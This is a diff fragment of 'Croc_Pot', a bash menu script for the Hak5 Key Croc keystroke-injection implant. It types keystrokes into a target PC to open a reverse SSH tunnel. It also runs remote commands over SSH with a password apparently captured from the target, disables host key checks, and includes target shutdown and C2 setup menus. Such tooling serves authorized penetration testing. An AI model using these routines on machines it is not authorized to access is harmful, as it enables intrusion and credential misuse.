|
||||||
|
else
|
||||||
|
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a}
|
||||||
|
fi
|
||||||
|
}
|
||||||
if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then
|
if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then
|
||||||
read_all START REVERSE SSH TUNNEL TARGET PC TO KEYCROC Y/N AND PRESS [ENTER]
|
read_all START REVERSE SSH TUNNEL TARGET PC TO KEYCROC Y/N AND PRESS [ENTER]
|
||||||
case $r_a in
|
case $r_a in
|
||||||
|
@ -4792,7 +4807,7 @@ if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then
|
||||||
Q ENTER
|
Q ENTER
|
||||||
sleep 1
|
sleep 1
|
||||||
Q ALT-TAB
|
Q ALT-TAB
|
||||||
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a}
|
start_shell
|
||||||
else
|
else
|
||||||
case $HOST_CHECK in
|
case $HOST_CHECK in
|
||||||
raspberrypi)
|
raspberrypi)
|
||||||
|
@ -4808,7 +4823,7 @@ else
|
||||||
Q STRING "exit"
|
Q STRING "exit"
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q ALT-TAB
|
Q ALT-TAB
|
||||||
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;;
|
start_shell ;;
|
||||||
parrot)
|
parrot)
|
||||||
Q ALT F2
|
Q ALT F2
|
||||||
sleep 1
|
sleep 1
|
||||||
|
@ -4821,7 +4836,7 @@ else
|
||||||
Q STRING "exit"
|
Q STRING "exit"
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q ALT-TAB
|
Q ALT-TAB
|
||||||
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;;
|
start_shell ;;
|
||||||
*)
|
*)
|
||||||
Q ALT F2
|
Q ALT F2
|
||||||
sleep 1
|
sleep 1
|
||||||
|
@ -4834,7 +4849,7 @@ else
|
||||||
Q STRING "exit"
|
Q STRING "exit"
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q ALT-TAB
|
Q ALT-TAB
|
||||||
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;;
|
start_shell ;;
|
||||||
esac
|
esac
|
||||||
fi ;;
|
fi ;;
|
||||||
[nN] | [nN][oO])
|
[nN] | [nN][oO])
|
||||||
|
@ -4912,6 +4927,16 @@ input_command() {
|
||||||
ssh ${USERNAME_COMMAND}@${IP_COMMAND} ${USER_COMMAND}
|
ssh ${USERNAME_COMMAND}@${IP_COMMAND} ${USER_COMMAND}
|
||||||
sleep 5
|
sleep 5
|
||||||
}
|
}
|
||||||
|
pc_target_command() {
|
||||||
|
echo -ne "$(ColorBlue 'ENTER COMMAND AND PRESS [ENTER]'): "; read USER_COMMAND
|
||||||
|
if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
|
||||||
|
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip) ${USER_COMMAND}
|
||||||
|
sleep 5
|
||||||
|
else
|
||||||
|
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip) ${USER_COMMAND}
|
||||||
|
sleep 5
|
||||||
|
fi
|
||||||
|
}
|
||||||
command_menu() {
|
command_menu() {
|
||||||
read_all EXECUTE REMOTE COMMAND OVER SSH Y/N AND PRESS [ENTER]
|
read_all EXECUTE REMOTE COMMAND OVER SSH Y/N AND PRESS [ENTER]
|
||||||
case $r_a in
|
case $r_a in
|
||||||
|
@ -4927,10 +4952,8 @@ MenuColor 6 REMOTE COMMAND TO SHARK ; echo -ne " ${clear}\n"
|
||||||
MenuColor 7 REMOTE COMMAND TO BUNNY ; echo -ne " ${clear}\n"
|
MenuColor 7 REMOTE COMMAND TO BUNNY ; echo -ne " ${clear}\n"
|
||||||
MenuColor 8 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 8 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) target_command $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt) $(os_ip) ; command_menu ;;
|
1) pc_target_command ; command_menu ;;
|
||||||
2) input_command ; command_menu ;;
|
2) input_command ; command_menu ;;
|
||||||
3) target_command root 172.16.42.1 ; command_menu ;;
|
3) target_command root 172.16.42.1 ; command_menu ;;
|
||||||
4) target_command root 172.16.32.1 ; command_menu ;;
|
4) target_command root 172.16.32.1 ; command_menu ;;
|
||||||
|
@ -4942,7 +4965,7 @@ MenuEnd
|
||||||
*) invalid_entry ; remote_command ;;
|
*) invalid_entry ; remote_command ;;
|
||||||
esac ;;
|
esac ;;
|
||||||
[nN] | [nN][oO])
|
[nN] | [nN][oO])
|
||||||
echo -ne "\n\e[40m$(ColorYellow 'Maybe next time')\n" ;;
|
echo -ne "\n$(ColorYellow 'Maybe next time')\n" ;;
|
||||||
*)
|
*)
|
||||||
invalid_entry ; command_menu ;;
|
invalid_entry ; command_menu ;;
|
||||||
esac
|
esac
|
||||||
|
@ -4961,8 +4984,6 @@ MenuColor 5 REVERSE SSH TUNNEL ; echo -ne " ${clear}\n"
|
||||||
MenuColor 6 REMOTE COMMANDS ; echo -ne " ${clear}\n"
|
MenuColor 6 REMOTE COMMANDS ; echo -ne " ${clear}\n"
|
||||||
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) remote_listener ;;
|
1) remote_listener ;;
|
||||||
2) croc_listener ;;
|
2) croc_listener ;;
|
||||||
|
@ -5007,8 +5028,6 @@ echo -ne "\t\t" ; MenuColor 5 WIFI PINEAPPLE | tr -d '\t' ; echo -ne " ${clear}
|
||||||
echo -ne "\t\t" ; MenuColor 6 PACKET SQUIRREL | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 13 REMOVE SSH_KEYGEN | tr -d '\t' ; echo -ne " ${clear}\n"
|
echo -ne "\t\t" ; MenuColor 6 PACKET SQUIRREL | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 13 REMOVE SSH_KEYGEN | tr -d '\t' ; echo -ne " ${clear}\n"
|
||||||
echo -ne "\t\t" ; MenuColor 7 LAN TURTLE | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 RETURN TO MAIN MENU | tr -d '\t' ; echo -ne " ${clear}\n"
|
echo -ne "\t\t" ; MenuColor 7 LAN TURTLE | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 RETURN TO MAIN MENU | tr -d '\t' ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) pc_ssh ; ssh_menu ;;
|
1) pc_ssh ; ssh_menu ;;
|
||||||
2) userinput_ssh ; ssh_menu ;;
|
2) userinput_ssh ; ssh_menu ;;
|
||||||
|
@ -5313,8 +5332,6 @@ MenuColor 1 SHUTDOWN TARGET PC ; echo -ne " ${clear}\n"
|
||||||
MenuColor 2 REBOOT TARGET PC ; echo -ne " ${clear}\n"
|
MenuColor 2 REBOOT TARGET PC ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) shutdown_pc ;;
|
1) shutdown_pc ;;
|
||||||
2) reboot_pc ;;
|
2) reboot_pc ;;
|
||||||
|
@ -5337,8 +5354,6 @@ MenuColor 7 REMOVE CROC_POT AN CONTENTS ; echo -ne " ${clear}\n"
|
||||||
MenuColor 8 REBOOT/SHUTDOWN TARGET PC ; echo -ne " ${clear}\n"
|
MenuColor 8 REBOOT/SHUTDOWN TARGET PC ; echo -ne " ${clear}\n"
|
||||||
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) croc_firmware ; croc_recovery ;;
|
1) croc_firmware ; croc_recovery ;;
|
||||||
2) hak_factory ; croc_recovery ;;
|
2) hak_factory ; croc_recovery ;;
|
||||||
|
@ -5363,8 +5378,7 @@ function hak_cloud() {
|
||||||
-To get Token keys Run #3 RELOAD HAK5 C2 until the keys show up
|
-To get Token keys Run #3 RELOAD HAK5 C2 until the keys show up
|
||||||
-May need to Unplug the keycroc plug back in and try again
|
-May need to Unplug the keycroc plug back in and try again
|
||||||
-This will check to see if unzip is installed if not it will install it
|
-This will check to see if unzip is installed if not it will install it
|
||||||
-This will not start C2 on boot
|
-This will not start C2 on boot Next reboot run #4 RESTART HAK5 C2
|
||||||
-Next reboot run #4 RESTART HAK5 C2
|
|
||||||
-ON any device type in the keycroc IP into any web browser url, That is on the
|
-ON any device type in the keycroc IP into any web browser url, That is on the
|
||||||
same network as the keycroc and connect to HAK5 C2')\n"
|
same network as the keycroc and connect to HAK5 C2')\n"
|
||||||
##
|
##
|
||||||
|
@ -5603,8 +5617,6 @@ MenuColor 2 RESTORE C2 SETUP IP ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 EDIT CROC IP ; echo -ne " ${clear}\n"
|
MenuColor 3 EDIT CROC IP ; echo -ne " ${clear}\n"
|
||||||
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) save_setup ; save_ip ;;
|
1) save_setup ; save_ip ;;
|
||||||
2) restore_ip ; save_ip ;;
|
2) restore_ip ; save_ip ;;
|
||||||
|
@ -5629,8 +5641,6 @@ MenuColor 8 QUICK START C2 ; echo -ne " ${clear}\n"
|
||||||
MenuColor 9 SAVE C2 SETUP IP ; echo -ne " ${clear}\n"
|
MenuColor 9 SAVE C2 SETUP IP ; echo -ne " ${clear}\n"
|
||||||
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) cloud_setup ; hak_cloud ;;
|
1) cloud_setup ; hak_cloud ;;
|
||||||
2) start_web ; hak_cloud ;;
|
2) start_web ; hak_cloud ;;
|
||||||
|
@ -5663,8 +5673,6 @@ MenuColor 6 SSH MENU ; echo -ne " ${blue} ${array[9]} ${clear} \n"
|
||||||
MenuColor 7 RECOVERY MENU ; echo -ne " ${green} ${array[10]} ${clear} \n"
|
MenuColor 7 RECOVERY MENU ; echo -ne " ${green} ${array[10]} ${clear} \n"
|
||||||
MenuColor 8 HAK5 CLOUD C2 ; echo -ne " ${white} ${array[11]} ${clear} \n"
|
MenuColor 8 HAK5 CLOUD C2 ; echo -ne " ${white} ${array[11]} ${clear} \n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) croc_mail ;;
|
1) croc_mail ;;
|
||||||
2) croc_pot_plus ;;
|
2) croc_pot_plus ;;
|
||||||
|
|
Loading…
Reference in New Issue